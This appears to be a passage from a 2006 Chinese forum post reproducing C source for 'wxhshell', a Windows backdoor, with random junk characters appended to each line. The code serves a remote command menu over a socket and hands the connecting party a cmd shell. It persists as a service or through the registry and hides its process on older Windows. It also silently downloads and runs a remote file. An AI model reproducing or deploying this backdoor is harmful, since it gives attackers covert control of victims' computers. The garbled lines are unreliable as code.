  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7q2YsI  
  } r2th6hl~  
  else { 3EvA 5K.  
s]iOC6v  
    switch(cmd[0]) { @_Zx'mTI  
  6`C27  
  // 帮助 7|-xM>L$A  
  case '?': { DX"; v J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zEW:Xe)  
    break; fq|2E&&v  
  } =;H'~  
  // 安装 %\cC]<>  
  case 'i': { @nP}q!y  
    if(Install()) o FLrSmY)E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1aE/_  
    else q UnFEg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FQFENq''B  
    break; ej;ta Kzj  
    } $D5U#  
  // 卸载 h+UscdU l  
  case 'r': { @:&+wq_>A^  
    if(Uninstall()) IdxToMr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4AYc 8Z#'  
    else b-?o?}*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z?.*.<"Sj  
    break; v+#j>   
    } 6bcrPf}  
  // 显示 wxhshell 所在路径 <.b$ gX  
  case 'p': { |S{P`)z%f  
    char svExeFile[MAX_PATH]; lF( !(>YZ  
    strcpy(svExeFile,"\n\r"); Q /c WV  
      strcat(svExeFile,ExeFile); Lf#G?]@  
        send(wsh,svExeFile,strlen(svExeFile),0); _6!/}Fm  
    break; `4 bd,  
    } shT[|@"C  
  // 重启 >@U<?wP  
  case 'b': { <o+ 7U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k+[KD>;1  
    if(Boot(REBOOT)) +ca296^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ZP&zOsDr  
    else { %g&,]=W\N  
    closesocket(wsh); b3xkJ&Z  
    ExitThread(0); j/D)UWkR  
    } 8>Z$/1Mh  
    break; EcoUpiL%2  
    } _}@n_E  
  // 关机 ?(q*U!=  
  case 'd': { rx>Tc#g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4i/q^;`  
    if(Boot(SHUTDOWN)) 0>=)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #2jn4>  
    else { *\KMkx  
    closesocket(wsh); Hi_Al,j:  
    ExitThread(0); RYl3txw  
    } _[i=TqVmf  
    break; NP`s[  
    } 15 o.j!S  
  // 获取shell _c8.muQ<  
  case 's': { 82za4u$q#  
    CmdShell(wsh); XDk o{jEJ  
    closesocket(wsh); )8 :RiG2B  
    ExitThread(0); xH_ie  
    break; xY0QGQca  
  } i?>> 9f@F  
  // 退出 B" m:<@ "  
  case 'x': { Kxc$wN<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O2]r]9sh*  
    CloseIt(wsh); = 6<w'>  
    break; ;b?+:L  
    } &8+6!TN7  
  // 离开 V-;nj,.mY  
  case 'q': { 3B".Gsm)X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (4ci=*3=  
    closesocket(wsh); CY3\:D0I  
    WSACleanup(); 8[1DO1*P  
    exit(1); sN1*Zp'(  
    break; ^lai!uZVa  
        } LnTe_Q7_  
  } 90iW-"l+[  
  } x;FO|fH  
mnQjX ?  
  // 提示信息 2${,%8"0s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m0\"C-Bk  
} S~rVRC"<xo  
  } aC yb-P  
.;Utkf'I  
  return; Z#Zzi5<  
} 4zqE?$HM'  
\kV7NA  
// shell模块句柄 _RaVnMJKX4  
int CmdShell(SOCKET sock) tw4am.o1]  
{ }'V'Y[  
STARTUPINFO si; |g\.5IM#W  
ZeroMemory(&si,sizeof(si)); #~URLN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ro&Y7m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M-Z6TL  
PROCESS_INFORMATION ProcessInfo; K~Au?\{  
char cmdline[]="cmd"; r,.95@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J;=aIiN]R  
  return 0; ?X_0Iy}1  
} )_ b@~fC  
'5xuT _  
// 自身启动模式 VIz{}_~'s  
int StartFromService(void) y>7VxX0xi  
{ <Xs @ \  
typedef struct ?%dCU~ z  
{ W_BAb+$aF  
  DWORD ExitStatus; ( #-=y~%  
  DWORD PebBaseAddress; /[|}rqX(  
  DWORD AffinityMask; <[3lV)~t  
  DWORD BasePriority; UQ$\ an'  
  ULONG UniqueProcessId; ;%rs{XO9  
  ULONG InheritedFromUniqueProcessId; oX 2DFgz  
}   PROCESS_BASIC_INFORMATION; "`jZ(+  
1!;"bHpk  
PROCNTQSIP NtQueryInformationProcess; s;_#7x#  
G{:af:5Fo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p~, 3A:i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  zfjDb  
t)oES>W1  
  HANDLE             hProcess; (ciGLfNG  
  PROCESS_BASIC_INFORMATION pbi; U-~*5Dd  
yA !3XUi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n^JUZ8  
  if(NULL == hInst ) return 0; f^6&Fb>  
 g`)/x\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Y'UvZlM%P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )-Mn"1ia  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xyS2_Q  
|%:q hs,  
  if (!NtQueryInformationProcess) return 0; )~?S0]j}  
[al(>Wr9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C NzSBm  
  if(!hProcess) return 0; } Jdh^t.  
yRq8;@YGY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  u]1-h6  
AF*ni~  
  CloseHandle(hProcess); *C3uMiz  
oz\{9Lwc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1F3QI|  
if(hProcess==NULL) return 0; M5T=Fj86  
:\1rQT  
HMODULE hMod; Lem\UD$D`  
char procName[255]; (:&&;]sI  
unsigned long cbNeeded; X|-v0 f  
(5Z8zNH`3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  \]f5  
mJGO)u&  
  CloseHandle(hProcess); V(lK`dY  
-~( 0O  
if(strstr(procName,"services")) return 1; // 以服务启动 gfdPx:7^  
t3  uB  
  return 0; // 注册表启动 e-%7F]e  
} k lP{yxU'n  
xI`Uk8-8  
// 主模块 rnMG0  
int StartWxhshell(LPSTR lpCmdLine) %S >xSqX  
{ _:ZFCDO  
  SOCKET wsl; E !Oz|q  
BOOL val=TRUE; Z9J =vzsHE  
  int port=0; ~zE 1'  
  struct sockaddr_in door; !~lVv&YO  
3P+4S|@q(4  
  if(wscfg.ws_autoins) Install(); 3xmiX{1e  
r%Q8)nEo  
port=atoi(lpCmdLine); .\ ;l-U  
r+[#%%}ea  
if(port<=0) port=wscfg.ws_port; ="5k\1W1M  
r/N[7 *i  
  WSADATA data; tAb;/tM3I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IL+#ynC  
4DQ07w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bK_0NrXP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ' D)1ka.  
  door.sin_family = AF_INET; K)Df}fVOc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CU#L *kz  
  door.sin_port = htons(port); eHVdZ'%x  
zK ' _e&*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3i]"#wK  
closesocket(wsl); dl*_ m3T  
return 1; u|_LR5S!j  
} kz7vbY  
RlI W&y  
  if(listen(wsl,2) == INVALID_SOCKET) { e/]O<,*  
closesocket(wsl); c{'$=lR "  
return 1; ys&"r":I  
} g^s+C Z  
  Wxhshell(wsl); Ht`<XbQ>  
  WSACleanup(); 7.7Cluh5,  
['51FulDR  
return 0; $?]@_=  
F9m2C'U  
} tl{]gz  
ql!5m\  
// 以NT服务方式启动 p/ziFpU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '\ph`Run  
{ 8_^'(]  
DWORD   status = 0;  uD.  
  DWORD   specificError = 0xfffffff; >Jm-2W5J  
iN:G/ss4O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $\0cJCQ3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o-\ok|,)#j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "?oo\op  
  serviceStatus.dwWin32ExitCode     = 0; &%|xc{i  
  serviceStatus.dwServiceSpecificExitCode = 0; R7E]*:0}  
  serviceStatus.dwCheckPoint       = 0; XsAY4WTS  
  serviceStatus.dwWaitHint       = 0; L"""\5Bn(  
$Qn& jI38  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9O),/SH;:  
  if (hServiceStatusHandle==0) return; g>6:CG"  
kN'|,eKH4  
status = GetLastError(); w;N{>)hv  
  if (status!=NO_ERROR) w"fCI 13  
{ +}Kk2Kg8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a6;gBoV  
    serviceStatus.dwCheckPoint       = 0; "_ nX5J9  
    serviceStatus.dwWaitHint       = 0; +G5'kYzJ  
    serviceStatus.dwWin32ExitCode     = status; 4ggVj*{v  
    serviceStatus.dwServiceSpecificExitCode = specificError; z{Hz;m:*_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $?H]S]#|}.  
    return; M?E9N{t8)a  
  } H/cs_i  
EsT0"{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ggrI>vaw  
  serviceStatus.dwCheckPoint       = 0; jG+T.  
  serviceStatus.dwWaitHint       = 0; R19'| TJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qJ\X~5{  
} Z 7`5x  
%3]3r*e&5  
// 处理NT服务事件,比如:启动、停止 Sp<hai  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1zdYBb6;j  
{ \1=T sU&^  
switch(fdwControl) rER~P\-  
{ GYFgEg}  
case SERVICE_CONTROL_STOP: k TFz_*6.  
  serviceStatus.dwWin32ExitCode = 0; B"~U<6s0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5|yZEwq  
  serviceStatus.dwCheckPoint   = 0; ! a86iHU  
  serviceStatus.dwWaitHint     = 0; =L:[cIRrT;  
  { Ly^E& ,)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X32RZ9y  
  } 5\uNEs$T  
  return; *}+R{  
case SERVICE_CONTROL_PAUSE: FpP\-+Sl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,)Yao;Cvd  
  break; IJ hxE  
case SERVICE_CONTROL_CONTINUE: ?+3R^%`V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \U==f &G?J  
  break;  =Ov9Kf  
case SERVICE_CONTROL_INTERROGATE: 0v;ve  
  break; R|/Wz/$1A  
}; #uQrJh1o8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l>A\ V)  
} 5k K= S  
j1'\R+4U  
// 标准应用程序主函数 @[n2dmj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gBMta+<fE~  
{ 7^c2e*S  
kJ/+IGV^v  
// 获取操作系统版本 A$/KP\0Y2  
OsIsNt=GetOsVer(); 1UC2zM"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6(:)otz  
*hV4[=  
  // 从命令行安装 1oB$MQoc  
  if(strpbrk(lpCmdLine,"iI")) Install(); ymHKcQ  
bAUHUPe  
  // 下载执行文件 ozVpfs  
if(wscfg.ws_downexe) { *^n^nnCwp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7TP$  
  WinExec(wscfg.ws_filenam,SW_HIDE); #g,H("Qy({  
} AzZi{Q ?  
pMOD\J:l,  
if(!OsIsNt) { N[>:@h  
// 如果时win9x,隐藏进程并且设置为注册表启动 "_t4F4z  
HideProc(); _\p`4-.V  
StartWxhshell(lpCmdLine); /#29Y^Z)=  
} wtlB  
else H1Q''$}Z.  
  if(StartFromService()) Mk<m6E$L  
  // 以服务方式启动 IT,"8 s  
  StartServiceCtrlDispatcher(DispatchTable); QDP-E[  
else cS4xe(n8  
  // 普通方式启动  1U  
  StartWxhshell(lpCmdLine); S<*';{5~  
'=$TyiU  
return 0; MdLj,1_T  
}
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只看该作者 1 发表于: 2006-10-10
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